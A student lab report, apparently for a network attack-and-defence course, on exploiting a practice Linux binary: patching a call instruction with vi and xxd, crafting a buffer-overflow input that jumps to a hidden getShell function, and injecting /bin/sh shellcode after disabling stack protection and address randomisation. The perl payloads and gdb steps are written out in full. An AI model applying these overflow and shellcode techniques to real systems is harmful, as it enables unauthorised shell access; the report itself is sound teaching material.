2018-2019-2 20165237《網絡攻防技術》Exp1 PC平臺逆向破解

2018-2019-2 20165237《網絡攻防技術》Exp1 PC平臺逆向破解

1、實踐目標

  • 本次實踐的對象是一個名爲pwn1的linux可執行文件。linux

  • 該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。shell

  • 該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。sass


2、基礎知識

  • 熟悉Linux基本操做
  • 能看懂經常使用指令,如管道(|),輸入、輸出重定向(>)等。
  • 理解Bof的原理。
  • 能看得懂彙編、機器指令、EIP、指令地址。
  • 會使用gdb,vi。
  • 緩衝區溢出概圖:

3、Exp1.1 直接修改程序機器指令,改變程序執行流程

實驗步驟:

  • 反彙編:查看pwn20165237的代碼機器指令和彙編語言
objdump -d pwn20165237 | more

  • 進行編輯:
vi pwn20165237

在vi裏面進行如下步驟安全

  • 使用 :%!xxd顯示模式切換爲16進制模式
  • 使用 /e8d7查找要修改的內容
    ,並將d7修改爲c3,保存並退出
  • 將16進制轉換回原格式 :%!xxd -r,:wq!退出
    網絡

  • 進行反彙編查看機器指令和彙編語言
objdump -d pwn20165237 | more

  • 驗證:
./pwn20165237


4、Exp1.2經過構造輸入參數,形成BOF攻擊,改變程序執行流

實驗步驟

  • 確認返回地址:
objdump -d pwn5237 | more

查看getshell()的內存地址
dom

  • 對pwn5237進行GDB調試,運行並輸入進行嘗試 1111111122222222333333334444444412345678
    函數

  • 獲得ASCII碼值 0x34333231 也就是倒序的1234
    咱們須要將其替換成getshell的返回地址 0x0804847d
  • 生成包含字符串的文件學習

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
  • 使用命令
(cat input;cat) | ./pwn5237

將input的內容做爲./pwn5237的輸入,並驗證結果
spa


5、Exp1.3Shellcode注入攻擊

安裝execstack:apt-get install execstack

 設置堆棧可執行: execstack -s pwn1    

 查詢文件的堆棧是否可執行: execstack -q pwn1  

 關閉地址隨機化: echo "0" > /proc/sys/kernel/randomize_va_space 

 查看地址隨機化是否已經關閉: more /proc/sys/kernel/randomize_va_space

  • 注入攻擊
    調試

  • 再打開一個終端Ctrl+Alt+t,找到進程號爲33071

  • 使用gdb調試進程
gdb pwn1

attach 33071

disassemble foo

break *0x080484ae

continue

info r esp

x/16x 0xffffd30c

  • 經過計算,獲得shellcode的地址是0xffffd310

  • 輸入指令:
perl -e 'print "A" x 32;print "\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x20\xd3\xff\xff\x00"' > input_shellcode
  • 驗證:

6、實驗感想與問題

  • 感想:此次實驗,經過和舍友的討論以及百度的幫助讓我對緩衝區溢出攻擊有了更深入的認識,尤爲是棧的溢出與替換;實驗操做過程當中根據指導書循序漸進得作沒有什麼困難,但願可以再接再礪,學到更多有用的知識!

  • 什麼是漏洞?漏洞有什麼危害?

答:漏洞是在硬件、軟件、協議的具體實現或系統安全策略上存在的缺陷,從而可使攻擊者可以在未受權的狀況下訪問或破壞系統。本次實驗的緩衝區溢出原理就是一個漏洞。他們會使計算機遭受病毒和黑客攻擊,將本身的私人信息泄露出去。

相關文章
相關標籤/搜索